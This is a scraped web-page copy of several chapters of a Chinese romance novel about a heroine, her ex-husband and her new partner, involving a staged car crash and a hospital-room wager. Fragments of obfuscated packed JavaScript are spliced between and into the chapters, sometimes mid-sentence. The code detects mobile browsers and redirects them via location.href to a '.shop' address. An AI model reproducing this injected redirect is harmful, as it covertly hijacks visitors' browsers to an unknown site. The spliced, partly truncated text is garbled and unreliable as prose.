p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618062|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活该。” 话落。 两人都沉默了。 彼此都知道这句话是何意。 没有人挂断电话,静静的呼吸声透过电话此起彼伏的传来,若是听得认真,恍恍惚惚的仿佛还能听到男人心脏跳动的声音。 “盛景炎,我喜欢红色,但不喜欢血色。” 盛景炎眼眸微暗:“嗯,下次不会了。” 他再没笑了,也没有压抑着自己,从声音中都能听到因为疼痛带来的颤音。 “许愿,好梦,希望今晚不要梦到我。” 今晚不要梦到他,不要梦到这场因为他刻意设计受伤的车祸。 挂断电话,盛景炎一手放置在自己额前,感受到一片滚烫 。 啧,发烧了。 胸口在渗血,他随意的戳动了下,血似乎流的更快了。 助理看到眼睛都瞪大了。 “盛总,您别再胡闹了!” 助理叫了医护人员给他挂上水,甚至还大逆不道的提议用绳子帮助盛景炎,省的他在病房内自虐自己伤害自己,当然最终还是被盛景炎冷淡的一眼给吓噤声了。 “我是真不明白您。” 助理忍不住念:“明明能躲开,为什么还要故意让傅长海的人撞到您。” “您身上的伤可都是货真价实的。” 这次是真的凶险,若是那车撞得再狠一些,车子碎片许是会插进他的胸口。 盛景炎把玩着手机,面上不带任何表情。 “你怎么评价傅长海。”他开口询问。 助理顿了下:“狠毒,没有法律底线和道德底线,为了达到目的不择手段。” “对,就是这样。” 盛景炎淡淡开口:“这样,许愿总该彻底清楚她面对的是怎样残忍的疯子。” 许愿最初的敌人就是傅长海,许宁许镇江,其实不过是路上蹦跶的小蚂蚱,恶心人但是能被轻易一脚踩死。 但傅长海并非如此。 他有手段有人脉还如此疯狂,他甚至知道他盛景炎是盛世最新的继承人,却还是为了苏青莲的手稿无所顾忌的撞过来。 他都无法避免,那许愿呢? 盛景炎眸色一片晦暗。 第109章 情人眼里出西施 盛景炎为许愿做到这一步,盛景炎的助理姜瑜都还处在震惊之中,他其实觉得盛景炎这么做挺多余的。 许愿也是个狠人啊。 “盛总,不如您先看看许经理今晚都做了什么……” 姜瑜忍了又忍,最终还是没能忍住开口想让盛景炎知道许愿在郊外别墅和跑道上都做了什么。 盛景炎确实还没看这视频,此刻也提起了一丝兴趣。 他确实挺想知道许愿今晚做了什么。 姜瑜将视频传给盛景炎,盛景炎点开视频,看到夜色中许愿随风飘扬的黑发和模糊却漂亮的侧脸。 “她很漂亮不是吗?” 姜瑜没搭腔。 心道,是漂亮,但是也极端危险啊。 她操纵着遥控,控制胡浩的车子撞到围墙之上,眼底都是淡漠的狠意。 陆斯年拉开她时,她抬起头的那一刻,唇角甚至挂着笑。 然后…… 一次又一次的操纵着遥控,让胡浩往墙上撞去。 一次,两次,三次……二十三次。 看到最后见胡浩几乎是毫发无伤,盛景炎心里蹦出句:“就这?” 未等他疑惑完,胡浩已经被绑到普通性能的车子上,下一秒剧烈的碰撞声和突显的火光,让盛景炎整个人都怔了下。 他脸色依旧苍白得没有血色,伤口也在疼,但此刻他实在忍不住,喉间溢出满足的笑。 “多可爱啊。” 姜瑜:“……” 姜瑜:“?” “盛总!您好好看清楚,许经理这可是在发疯啊,您真的玩得过她吗?她狠起来,真的六亲不认!” 姜瑜忍不住开口提醒,实在是担心盛景炎会恋爱脑,看错许愿是什么性格。 “所以才可爱。” 盛景炎点了重播,看着夜色中面无表情眸色淡漠的许愿,眼底的笑意逐渐加深。 “姜瑜,你别忘了,她这次是为了我,才六亲不认降低底线。” “更何况……” 盛景炎笑道:“如果谁跟我说,她喜欢玩我,那我会很开心。为什么一定要玩得过她?” 盛景炎抬头看向姜瑜:“你忘记了?她现在是我的爱人。” 爱人之间是不一样的。 姜瑜无话可说。 盛景炎一遍遍重播着视频。 “以前我为什么没有发现,她竟然这么可爱。” 他像是自言自语,眸光也愈发幽暗。 如果再早些时间发现许愿是这个性子,他绝对会去追她,不会让她嫁给傅京礼…… 他微微抿唇,眼底都闪出几分狠辣之意。 “今晚的录像除了我手里的这份,其他的一定要销毁干净,不要让录像流传出去毁了她。” 说到此,盛景炎轻微皱了下眉:“稍后把我手中这份录像也销毁掉,不要让人抓到她的把柄。” 姜瑜立刻应声,吩咐了下去。 …… 与此同时,傅京礼的公寓。 他一遍遍翻看今晚的录像,看到许愿在夜风中毫无波澜的眼神,肆意张扬的笑。 看到她“草菅人命”,随意玩弄。 他像是在看一个陌生人,好似今晚才重新认识许愿。 过去三年,她那相敬如宾温柔体贴的模样,或许都是装出来的。 看似温柔优雅的外表,其内心却藏着一只猛兽,随时可能奔腾而起攻击人类,充满算计也充满凶性。 这才是许愿。 傅京礼喉间有些发堵。 他一遍遍翻看视频,眸色却愈发深了。 不可否认,这样的攻击性强的许愿更惑人,像是暗夜妖艳的红玫瑰,肆意绽放。 他的目光几乎不能从她身上移开,只能看着她,只想看着她。 天要亮了,他仍然在看那份录像,视线都未曾移开转向旁的。 他长指摩挲着手机屏幕,好像这样就能触碰到许愿的侧脸。 只可惜,碰到的是冰冷的电子屏幕。 若是往日……他可以将人搂抱进怀中肆意亲吻占有,可如今,许愿已经跟在盛景炎身边,成了他的人。 傅京礼的眸色愈暗。 片刻后,他开口:“把胡浩救出来转移到国外,不要让许愿和盛景炎的人找到他的行踪。” 才回傅氏不久,一直候在一旁的容浔听到这句话,整个人明显愣了下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618063|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “傅总,你是认真的?” 傅京礼淡淡的嗯了一声。 “胡浩已经被许愿整垮了心理防线,盛景炎的人也不是普通人,现在应该已经找到胡浩安排在国外的家人。” “如果这时许愿开口询问是谁安排他做了这些事,胡浩一定会全盘托出。” 傅京礼抿唇:“不能让他说出真相。” 真相如何? 是谁动了杀心? 昨晚在傅家老宅的都有谁? 知道许愿和盛景炎拿走一份资料的人,又有谁? 傅嘉誉做不出这种事,老爷子更不必多此一举,他若不想许愿拿走东西,最一开始不告诉许愿就可以。 那么还能有谁策划了昨晚那场看似缜密、却又漏洞百出的车祸? 是傅长海。 傅长海是他的亲人,他就算是再想护着许愿,也会在这之前护住亲人。 至于许愿…… 昨晚伤的不是她,是盛景炎,那就更不必追究傅长海的责任。 容浔半晌说不出话来,许久后才开口道:“好的傅总,我会安排下去。” 就像盛景炎最初猜测的那样,傅长海如此肆无忌惮不好对付,不只因为他够狠够疯,更因为傅长海身后有个帮他摆平一切的傅京礼。 比起傅长海,傅京礼才是真的难对付。 傅京礼不再看视频,随手存在手机上。 书房的门倏然被人推开了,保姆有些无措的站在门口。 “傅先生,这位小姐说是您的秘书,一定要闯进来见您,我拦不住她。” 傅京礼摁灭手机,抬眸便对上许宁那张有些慌张急促的面容。 许宁正欲开口,偏头就看到容浔那张肃冷的面容,已经到嘴边的话,硬是憋下去了。 容浔低头,眼神冷淡的略过她。 “许家二小姐?连最基本的社交礼仪都不懂?” 比之沈略,容浔更难搞。 沈略长相偏柔和,脸上总是带着笑的。 即便是对她有敌意,也不会给人太冰冷的感觉。 容浔不同,他身上的气质和傅京礼相近。 只一眼,便让许宁有种浑身发毛的感觉。 第110章 铁三角 容浔。 傅京礼身边最看重的人,比之沈略与许愿羁绊更深。 可以说,容浔在傅氏的地位与那些高层不相上下,甚至容浔的地位高于那些高层,手中还握有傅氏股份。 后期因有许愿和沈略,通常情况下容浔会在外谈业务,并不常在公司。 他的性子冷淡,与傅京礼同样只看重能力和利益。 许愿最初进入秘书科,容浔是冷眼相待。 直到许愿在国外谈下那场合作,容浔才算是真正接纳许愿,也是容浔正式举荐许愿成为傅京礼另外一位首席秘书,接手了他部分工作。 这几年来,许愿也确实证明了她自己的实力。 只不过……许宁呢? 容浔眼神挑剔的打量许宁几眼,许宁被这眼神看得心里毛毛的,忍不住后退。 “就是你抢了许愿的职位?” 他直言用了“抢”字。 许宁眼神闪躲。 她这次来见傅京礼,还是想向他求情,希望能重新回到傅氏。 她现在终于冷静下来想清楚,莱蒂斯突然找她合作,可能真的是因为她太蠢。 可狠话都已经放出来了,已经被傅氏开除了,她要怎么做才能重新回到傅氏? 她心慌,害怕,整个人脑子都是乱的。 现在看到容浔更是心跳加速,只能余光不停瞟向傅京礼,想要傅京礼解救她。 “我……” 许宁说不出话,目光一直落在傅京礼身上,等着男人为她开脱。 傅京礼重新摁亮自己的手机,声音淡淡道:“是我让她进入傅氏的。” “现在她已经因为跟莱蒂斯相关的合同,离开了傅氏。” 容浔目光平静的挑了下眉:“这样的祸害,确实该早点离开傅氏。” 他毫不顾忌许宁的身份。 容浔和沈略不同。 容浔幼年时期曾被傅京礼的父亲收养,算是被养在傅家跟傅京礼一起长大。 他和傅京礼算是没有血缘的兄弟,所以有些话沈略说不得,容浔却能说。 眼见许宁快要哭出来,傅京礼才将手机放到桌上。 “阿浔,你先出去,我听听她要说些什么。” 容浔略微点头,离开时目不斜视,像是对许宁的不屑。 房间内只剩下他们两人,傅京礼并未开口,只面色淡然的翻看一份文件。 书房内静悄悄的,只能听到彼此的心跳声。 许宁还未从容浔方才的冷眼中回过神,此刻微有些怔愣。 回过神后,她整个人冲到傅京礼面前,双手成为桌上俯低身体。 她穿了件较为暴露的衣裙,这样的动作露出内里的白嫩柔软,凑得这样近,甚至能闻到她身上传来的刺鼻香水味,不知是喷了多少香水。 傅京礼皱眉:“你想说什么。” 见到他躲避,许宁眸光闪了闪,开口。 “阿礼,让我回到傅氏好不好?” “我知道我这次知道做了错事,莱蒂斯根本不是为了给傅氏牟取利益,他从最开始就是为了给傅氏设下陷阱。” 许宁为什么会知道这件事? 因为跟傅氏对立的公司在向她伸出橄榄枝后,再度做了评估,这份合作只要签了就要投入大量资金,且这些资金并不能保证完全能回笼。 一旦操作不当,公司的流动资金都可能会因为这次的错误投资而被冻结。 许宁知道这件事后,只觉得天都要塌了。 这个消息马上就要传出去了。 骗局被揭开后被群嘲的,不再是许愿,只会是她许宁了。 这种时候,她只能来求傅京礼再给她个机会,让她重新回到傅氏。 这样,起码她还有个傅氏秘书的身份,甚至…… 甚至可以让外人只以为这是个笑话。 他们傅氏本就没打算跟莱蒂斯签约,只是故意诱哄敌对公司上钩,是商业竞争。 “阿礼,你帮帮我,我真的知道错了。” “远程公司马上就要放出这份合同是骗局的真相,如果傅氏不肯要我,以后也不会再有其他企业肯要我了。” “阿礼,你必须帮我……” 许宁泪眼婆娑哭得很是可怜,可她更多的是在演。 眼泪一滴一滴的往下落,就是在赌男人会不会心疼。 她自然是漂亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618064|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至容貌有几分跟许愿相似。 傅京礼垂眸看着面前落泪的女人,脑海中恍惚闪过的是另一张流泪的面容。 那张脸即便是哭着都是美丽的,只是一直清冷的一双眼里,都染带上几分破碎的星光。 傅京礼喉头有些发堵。 “今天你重新回到傅氏,还是那个职位,但以后与合作相关的你都不需要负责,项目部也不许再去。我会让宣传部为你开几个账号,在网络上散播些谣言。” “他们只会以为这是傅氏和远程的商业竞争。” 他还是后退一步,为她摆平了这件事。 只是看到她落泪,便不愿她受到伤害。 他已经分不清自己是一种什么古怪的心理。 许宁的脸上重新绽放出笑颜,眼泪消失得很快 。 她伸出手,抓住男人的手臂撒娇的摇晃:“阿礼,我就知道你对我最好了。” 说罢,她又轻摇了下男人的衣角。 男人抽回衣袖,面色冷淡。 许宁心有波澜,面上却是分毫不显,贴到男人怀里,在唇即将主动贴到男人唇边时,傅京礼推开了她。 “已经快到上班的时间了,你做好准备,稍后我还有个会议。” 他拒绝了她的亲近。 许宁眼底掠过一抹细碎受伤的光芒,片刻后还是嗯了一声,方才离开书房。 他离开的瞬间,男人重新点开手机。 目光落在那张在夜色中明艳动人的面容上,内心那股难以言喻的酸涩感再度翻涌上来。 放开许愿,真的是正确的决定吗? 此刻,他这样自己问自己。 许宁打开书房门,穿过客厅。 余光瞥到坐在沙发上翻看文件的容浔,她顿时内心再度发慌,灰溜溜的就要逃走,却听到男人冷淡的声音传过来。 “看来,你达到了你的目的。” 容浔轻飘飘的开口:“傅总肯让你重回傅氏对吗?” 许宁身体僵硬的停下脚步,转头朝男人看去:“容秘书想说什么。” 容浔眼神淡漠:“你知道外人将我、沈略、许愿三人称为傅氏的铁三角吗?” 第111章 赌不赌? “你将许愿赶出去,可你自己有能力挤进来吗?” “如果是你,那三角形具有稳定性这句话……还能算作真理吗?” 容浔出口的话极尽嘲讽。 许宁面色涨红:“我没想破坏你们的感情,许愿还在傅氏,她是傅氏项目部的部长经理,她这算是升职!” “你是真蠢还是假蠢。” “作为傅总的首席秘书和助理,地位与各部门总监地位几乎持平,甚至要高于他们的地位。” “许愿被调到项目部,明升暗降罢了。” “许愿在顶层能处理安歇疑难合同,解决国外各类合作者,敢问许二小姐有这能力吗?” “你又会几国语言?真的能上谈判桌?” 一字一句,咄咄逼人,完全不给许宁思考的机会。 许宁大脑一时宕机,根本没办法回答也不敢回答。 她脚步踉跄的落荒而逃。 容浔眼底的嫌恶分外明显。 他是男性,自然也是喜好美的东西,无关外貌亦或者内在灵魂,但凡是美的他都欣赏。 但前提是,这些真的是在她们各自适合的领域。 许宁是艺术生,若她在舞台上展露风姿,他会鼓掌称赞。 但现在的许宁明显没有能力空有一副漂亮皮囊,只是个美丽的废物,他自然看不上。 “她走了?” 傅京礼从书房出来,开口询问。 容浔嗯了一声:“傅总真的要让许宁重回傅氏?” “只是让她占着这位置多发一份工资,合同相关的不会让她参与其中。” 容浔没再问更多。 “我去一趟云尚,上午的会你先帮我参加。” 话落傅京礼便要离开,却听到容浔淡淡的声音。 “傅总要去见盛景炎吗?” 傅京礼嗯了一声,没有说更多。 他见盛景炎,不过是想询问他们两人之间的赌约。 …… “你倒是悠闲。” 傅京礼推开门,看到的就是盛景炎躺在病床上翻看漫画。 他脸色因为失血过多发白,仔细观察,还能看到他的身体在轻微的抖。 应该是一直扛着没打麻药,也没用止痛药。 盛景炎撩起眼皮,瞥过去一眼。 “傅总这个时候赶来,是有什么想说的吗。” “胡浩在我手里。” 傅京礼声音淡淡的开口,盛景炎动作顿住。 他开始发笑,笑得伤口都险些崩裂。 “傅京礼,你真不是个东西。” 傅京礼面色淡漠:“他撞的是你。” 胡浩撞的是盛景炎不是许愿,所以他就这样轻飘飘的带走胡浩,然后来他面前告诉他这个结果。 “傅长海要害的人是许愿,你难道真的不清楚吗?” 盛景炎内心的怒火都在翻腾。 傅京礼声音冷淡:“受伤的是你。” “你来找我,总不会是为了这件事示威。” “打个赌。” 这次是傅京礼主动开口要打赌。 “赌什么?”盛景炎开口询问。 说话间,盛景炎已经透过医院的窗户看到远处的身影,是许愿。 她似乎是因为来探望他忘记带礼物而懊恼,所以去楼下的水果店买了水果,正往医院走。 盛景炎抿紧薄唇,一瞬不瞬地看着街上那道徘徊的身影。 他不敢想象要是许愿知道胡浩被人救走,会有多气愤。 他不由握紧拳:“你要跟我赌什么。” “我会让她离开项目部,重新成为我的首席秘书,赌不赌?” 盛景炎撩起眼皮瞥他一眼:“所以你要跟我赌许愿同不同意重新担任你的秘书吗?” 盛景炎抱着手臂轻描淡写:“赌,为什么不赌,如果阿愿不同意担任你的秘书,你就要把胡浩重新放回去。” “如果许愿同意担任我的秘书,你要让出最近盛世谈成的项目。” 盛景炎最近谈成的项目,是国家扶持的项目,跟上面接轨看中的项目。 傅京礼胃口真不小。 他本以为傅京礼真的只为了傅长海,现在看来,傅京礼摆明了冲着他的合同来的。 “看来,傅总还真是一直紧盯盛世。” 傅京礼眸色淡然:“盛总不也是?” 傅氏有盛景炎的眼线,盛世也有傅京礼的眼线,两人半斤八两。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618065|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅京礼颇为烦躁地皱眉:“赌不赌。” “这样算来倒是我亏了。”盛景炎直直地看着傅京礼,“不如傅总同意让阿愿担任‘莱雅’合作的负责人。” 傅京礼握着手机的动作加重几分。 “你倒是好算计。” “比不过傅总。” 盛景炎轻笑:“我是恋爱脑,傅总是事业型,说不得谁是好算计。” “所以……赌不赌。” …… 十多分钟后,许愿拎着一袋水果走进病房。 看见傅京礼,她愣了愣,直接无视了傅京礼。 傅京礼眸色淡漠,目光却一直停留在她身上。 许愿自在了很多,搬来一张凳子 ,坐在病床边兀自说道:“我给你削个苹果,你先吃着垫垫肚子。我订了鸡汤,一会儿就送来。” 盛景炎笑盈盈地看着她,余光却落在傅京礼身上,隐隐带着几分得意。 许愿拿出一个苹果削皮,又道:“傅总,最近一段时间,我可能不会去傅氏。” “为什么?网络上的舆论我都已经处理干净了,你不用在意。”傅京礼开口,“你继续回去工作。” “不是因为网暴。”许愿摇摇头,“我暂时想专心照顾盛景炎,他的身体需要好好调养。” 照顾盛景炎只是借口。 主要原因是许愿要参加下个月的金融峰会。 盛景炎指尖摩挲,眼底的笑意遮也遮不住。 他那么了解许愿,怎么可能不清楚许愿的心思,这是又要拿他当借口了。 不过他愿意牺牲自己,当许愿的借口。 他眼尾弯弯,眸光落在傅京礼脸上,唇角都还带着轻微的笑意。 傅京礼不知道许愿是拿他当借口,他眸色幽暗的看着许愿。 难以相信许愿为了盛景炎,许愿竟然可以牺牲到这般地步。 在他看来,许愿不会在事业上升期抛下一切,去照顾一个根本没有任何感情的新恋人。 看到他这副模样,盛景炎笑意加深,故意一般拿走许愿手里的刀,压着她的脑袋便是一个温柔的吻。 胸腔颤颤地响,那是他克制不住的低笑。 看到傅京礼吃瘪的样子,真的痛快。 第112章 那个位置已经脏了 许愿没想到盛景炎会突然吻她,她没有反抗却也没有回应,等他吻完后才用略带淡漠的眼神看他。 盛景炎在笑,他是真觉得有意思。 傅京礼今天来这里是为了什么? 是为了看他的好戏,让许愿重回原位,继续担任他的秘书。 可还不等傅京礼提出恢复她职务的事,许愿就已经近期不打算去傅氏了。 这不就代表傅京礼还没开口就已经输了? 多有意思。 此刻盛景炎觉得伤口都不痛了,眼底的意色都快要溢出来。 傅京礼眸色幽深:“许愿,照顾盛景炎比工作更重要吗?” 他开口询问,就这样直接开口。 照顾盛景炎比工作更重要吗? 当然不。 哪怕是最爱傅京礼的时候,许愿都没有恋爱脑到放弃工作,更不要说被傅京礼伤过后的她。 可面对傅京礼,她就是要这么说。 “照顾他,难道不重要吗?” 许愿才被吻过,唇瓣红润撩人,她此刻明明是面色平静的在开口说话,却自带着几分风情。 她继续拿起小刀削着苹果。 “盛景炎他可是要跟我共度余生的人,是我以后的爱人,怎么能比不上工作呢。” 许愿随口说着。 傅京礼眸色沉沉的看着她,许愿感受到男人深沉的目光一直放在她身上,她无动于衷,甚至俯身主动柔柔地,绵绵地吻着盛景炎。 当盛景炎得到满足主动退开,她才平静地看向傅京礼。 “傅总,盛景炎现在对我来说,就是很重要。” 盛景炎又忍不住地低笑起来。 他面色红润,眼眸清亮,精神愉悦,压根不像才出了车祸的人。 傅京礼倚着窗框,漆黑深眸一瞬不瞬地看着许愿。 “如果我说,你现在回去,我可以恢复你原来的职位呢。” 傅京礼终于开口了。 许愿重新拿起小刀削苹果的动作都顿了下。 若是经历过这些事情前,在她对傅京礼还抱有期待的时候,她或许会直接答应重回傅氏,继续当傅京礼的秘书。 可现在…… 回去做什么? 看他和许宁如何恩爱,然后再遭遇更强烈的打击吗? 她可没疯。 盛景炎和傅京礼都在病房里,许愿脸上没有露出特别的表情,削苹果的动作也不疾不徐,稳稳当当,却没有立刻开口。 傅京礼的脸,却完全猜不透她在想什么。 “许愿,回到傅氏,你还会是我的秘书,还会像以前一样。” 傅京礼的话还没说话,就被许愿慢悠悠的打断。 “像以前一样吗?” 许愿依旧不紧不慢地削着水果,眸子里一片平静无波。 发觉盛景炎在看自己,许愿微微抬眸,勾了勾唇,冲盛景炎温柔地笑了一笑。 发觉傅京礼也在看自己,许愿转脸看去,嗓音温润:“傅总,你想知道我的回答吗。” 傅京礼没回话。 但许愿的回答,他当然想知道。 盛景炎嘲弄地瞥他一眼,末了叮嘱许愿:“慢点削,小心手。” “知道。” 许愿笑弯了眸,削苹果的速度果然放慢了很多。 这么乖巧可爱却又漂亮聪明的爱人,盛景炎可不希望她头脑一热,重新回傅京礼身边当他的私人秘书。 纵然他了解许愿,但此刻却还是会担心,担心许愿一时冲动答应傅京礼。 盛景炎内心如火的焦灼,一点儿也不比傅京礼少。 许愿慢慢削着苹果,眼看果皮快要垂落地面,便用脚尖勾来一旁的垃圾桶,稳稳接住。 她好半天没有回应傅京礼,眉眼一片沉静安然。 盛景炎和傅京礼开始聊天,你一句我一句地说着公事,心绪却全部都凝结在一旁的许愿身上。 他们头一次知道,等待的滋味竟是如此难熬。 苹果皮终于削好了,许愿把果肉切成小块放到果盘中递给躺在病床上的盛景炎,又抽了一张餐巾纸,垫在他衣襟上。 这般的温柔体贴,让盛景炎满心都是动容,然而吃进嘴里的苹果却尝不出半点滋味。 此刻得不到想要的答案,他没有心思做任何事。 傅京礼从西装内袋里取出纯金烟盒,烦躁不堪地把玩。 他漆黑的眸,状若无意地扫过许愿面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618066|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对盛景炎时温柔的脸。 许愿也眨着那双清冷的眸看过来,发觉傅京礼没有抽烟的意图,只是在把玩烟盒,便又收回了目光。 “许愿,你的答案呢,还是你在犹豫?”傅京礼开口询问。 许愿拿起一枚橘子,握在掌心把玩着,眼底似乎都隐隐带着平静的笑意。 “我没在犹豫。” 许愿放下把玩的橘子,又拿起一个苹果慢慢削着,在此刻缓缓开口了。 盛景炎咬了一口苹果,修长的眉慢慢蹙起。 舌尖品尝到的……是苦味吗? 傅京礼漆黑的眸子闪了闪,里面有微光亮起。 “那个位置已经脏了不是吗。” 许愿垂眸, 没有看他,却像是在重复那晚傅京礼曾对她说过的话。 “就像你说的,脏了的东西你不要。那你为什么认为我会想要已经被彻底弄脏的东西?” 脏的是谁? 是傅京礼,是许宁。 许愿其实非常理智。 最初知道许宁的时候,她可以从女性的角度去共情,她也会带入自己,如果自己跟她是同样的身份地位又要如何自处。 可她共情了许宁,许宁却不会共情她。 她们两个生来,就已经证明是站在对立面的天敌。 她所拥有的,许宁全都贪婪的想要掠夺。 她的父亲,她的丈夫,她的职位,她通通都要抢去。 更不要说她们两人都姓许,等她重回傅氏继续担任傅京礼的秘书,那许秘书究竟喊的是她还是许宁? 她真的……觉得恶心。 许愿倏然又笑了,只是笑意透露出几分凉薄之意。 她抬眸,就这样眼神淡漠的望着面前的男人,缓缓启唇开口。 “你真的只是想请我继续担任秘书的职位,还是因为……许宁中看不中用,没有任何价值,所以需要我回到那个位置去处理那些烂摊子。” “容浔已经回来了,有了容浔,傅总还需要我吗?” 许愿守住了自己的心,没了爱,她抽丝剥茧的全方位思考着傅京礼所有的话语,她不会再恋爱脑的去为傅京礼开脱。 她只会从利益方面出发考虑。 第113章 心痛的话那就是爱她 “你来请我,最主要的原因一定是你同意了许宁的请求,让她继续回到傅氏。你给她开着高薪,却又需要一个解决处理工作的秘书,所以你想到了我。” “你做这些,仅仅是为了许宁暂时需要我。” “可是容浔都已经回来了,我能做的,容浔当然都能做。” 盛景炎靠在病床上叉着盘中的苹果,有一搭没一搭的吃着,眼底的笑意愈发深了。 他可太喜欢许愿真正清醒后的冷淡模样了。 对啊,这样才是许愿。 那个被傅京礼伤害后伤春悲秋的许愿,远不如眼前这个爱她自己的许愿耀眼。 “你和容浔不一样。” 傅京礼反驳。 许愿削着水果的动作都已经停下,盛景炎自然的接过她手中的东西削着苹果,许愿瞥他一眼没有阻止。 “傅京礼,我当然和容浔不同。” “容浔是你自小一起长大亲如兄弟宛若家人的存在,我呢?跟你除了有那段不被你在意的关系,还有更多感情吗?” “签署那份协议后,我们除了上下级的关系,也就只是陌生人的关系,连朋友都算不上。” “我其实非常不理解你为什么能够在我拒绝你后仍然出现在我面前,那晚你侵犯、侮辱我的事我不提,你就真的当一切没有发生过吗?” “傅京礼。” 许愿抽出湿巾,擦拭着掌心触碰到苹果时的黏腻汁水。 她摩挲了下指尖,缓缓站起身,逐步走近他。 她握住傅京礼的领带,掌心微微用力。 傅京礼没有反抗,俯身看着面前的女人,喉间有些发干。 近在咫尺的是她娇美明艳的面容,透过那双清冷的不见半分星光的眼眸,傅京礼看到自己的身影。 她柔软的掌心,很轻很轻的抚摸男人的侧脸,在男人猝不及防之际,一耳光干脆利落的甩到他的脸上。 清脆的巴掌声在病房内响起。 除了许愿,两个男人都怔住了。 盛景炎本来在看着好戏,见到许愿抚摸傅京礼时水果刀划破指尖,他却没有阻止,然后并未想到下一秒许愿会直接的甩过一耳光,毫不留情。 “你不记得那晚的事,我还记得。” 许愿抚摸着自己打痛的掌心,抬起头时,眸光冷淡平缓,平静得像是看待陌生人,而非曾经共同生活过三年的枕边人。 “这是你应得的。” 许愿抿紧唇瓣,眼底的凉意尤为明显。 傅京礼感受到脸上的刺痛,她是真的没有半分留情。 他危险的眯眸,眼神冰冷的盯住许愿:“许愿,你疯了。” “一耳光,抵得过我遭受的侮辱吗。” 许愿嗤笑一声,然后悠悠的坐回原位,视线缓慢的扫过盛景炎渗血的指尖。 她顿了下,将男人手中的刀和苹果夺回来,面无表情的在他指尖贴了块创可贴,遮住那小伤口。 盛景炎十指交叉,此刻还不忘歪头去看傅京礼,笑吟吟的眼底尽是嘲意。 “傅总,阿愿的选择已经非常明显,她不愿继续担任你的秘书。” 傅京礼眸光冰冷:“我要亲口听许愿的回答。” “是的,就是盛景炎说的那样,我不会选择回到傅氏。”许愿勾起唇角,轻轻柔柔地笑了。 许愿就这样完全不考虑其他的给出了答案。 她转头看向盛景炎:“为了照顾你,我拒绝了傅总的请求邀约,你高兴吗。” 盛景炎啃咬苹果的动作停顿了几秒,然后才又继续,只觉嘴巴里的苹果的味道全都变成了浓甜。 那些焦躁不堪的等待,那些患得患失的不安,都在此刻化为了极致的满足和愉悦。 这场赌局,是他赢了! 傅京礼骤然握紧烟盒,抬眸看向许愿。瞳孔里那些刚亮起的微光,又都尽数熄灭。 一些沉重的,阴郁的,痛苦的,甚至是绝望的情绪,从他心脏的裂隙里汩汩喷涌。 他赌输了! 他在病床边僵直地站了一会儿,然后才拉来一张椅子,缓缓坐下。 他还是那么冷漠,坚硬,强悍。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618067|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然而唯有盛景炎知道,傅京礼内心防线已经守不住了。 见傅京礼还不肯走,盛景炎微不可察地勾唇,笑容却有些冷。 “许愿,我想知道你为什么选择盛景炎?” 他终于还是问出了这句话。 其实他更想问的是,为什么这么短的时间内,许愿就忘掉他、找了盛景炎。 许愿嘲他从未在意过两人的关系,那许愿又有多看重这段关系呢? “我选他,难道选错了?” 许愿缓缓说道:“跟他在一起,难道不是应有尽有吗。” 她微笑的回应他:“钱财、权力、身份、地位,全都唾手可得。” 